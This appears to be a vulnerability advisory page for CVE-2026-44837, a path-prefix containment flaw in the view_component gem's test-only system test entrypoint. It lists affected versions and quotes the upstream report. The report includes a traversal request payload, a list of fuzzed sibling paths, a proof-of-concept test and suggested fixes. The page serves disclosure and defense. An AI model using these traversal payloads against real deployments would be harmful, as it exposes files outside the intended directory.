Answer in brief
CVE-2026-44837 records a Medium severity (CVSS 5.9) vulnerability in view_component: System Test Entry Point Path Check Allows Sibling Directory Escape. The current sources do not mark it as known exploited. The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 5.9. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps view_component (rubygems), view_component (rubygems). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| view_componentrubygems | >=3.0.0,<4.9.0 | 4.9.0 |
| view_componentrubygems | >=3.0.0 <4.9.0 | 4.9.0 |
Published upstream
May 8, 2026
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Jun 11, 2026
### Summary The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix. Severity: Medium; test-route scoped. Example: ```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ``` The outside path is not inside the base directory, but it passes: ```ruby @path.start_with?(base_path) ``` ### Relevant Code `app/controllers/view_components_system_test_controller.rb`: ```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ``` The route then renders the resolved file: ```ruby render file: @path ``` ### Exploit Flow Example request: ```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ``` Flow: 1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file. The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment. ### Targeted Fuzz Result The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory: ```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ``` ### PoC Test Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`: ```ruby # frozen_string_literal: true require "test_helper" require "fileutils" class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb") FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>") get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" } assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ``` Run: ```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ``` Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`. Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file. ### Suggested Fix Use path-aware containment instead of a raw string prefix. For example: ```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path) raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".." @path = path.to_s end ``` Or require a separator boundary: ```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ``` Add regression tests for: - A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it
Quoted source text, attributed separately from HOL analysis.